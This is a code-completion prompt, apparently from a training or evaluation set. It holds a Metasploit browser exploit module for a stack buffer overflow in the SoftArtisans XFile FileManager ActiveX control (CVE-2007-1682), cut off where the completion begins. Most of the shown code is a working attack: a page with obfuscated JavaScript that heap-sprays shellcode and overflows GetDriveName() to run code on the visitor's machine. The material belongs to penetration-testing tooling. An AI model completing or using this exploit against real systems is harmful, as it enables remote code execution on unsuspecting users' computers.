You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: softartisans_getdrivename.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SoftArtisans XFile FileManager ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in SoftArtisans XFile FileManager ActiveX control
        (SAFmgPwd.dll 2.0.5.3). When sending an overly long string to the GetDriveName() method
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-1682' ],
          [ 'OSVDB', '47794' ],
          [ 'US-CERT-VU', '914785' ],
          [ 'BID', '30826' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows
    
  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)
    randnop = rand_text_alpha(rand(100) + 1)

    content = %Q|
  <html>
  <head>
    <script>
    try {
      var #{vname} = new ActiveXObject('SoftArtisans.FileManager.1');
      var #{rand1} = unescape('#{shellcode}');
      var #{randnop} = "#{nops}";
      var #{rand2} = unescape(#{randnop});
      var #{rand3} = 20;
      var #{rand4} = #{rand3} + #{rand1}.length;
      while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
      var #{rand5} = #{rand2}.substring(0,#{rand4});
      var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
      while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
      var #{rand7} = new Array();
      for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
      var #{rand8} = "";
      for (#{var_i} = 0; #{var_i} < 1224; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
      #{vname}.GetDriveName(#{rand8});
      } catch( e ) { window.location = 'about:blank' ; }
    </script>
  </head>
  </html>
        |

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end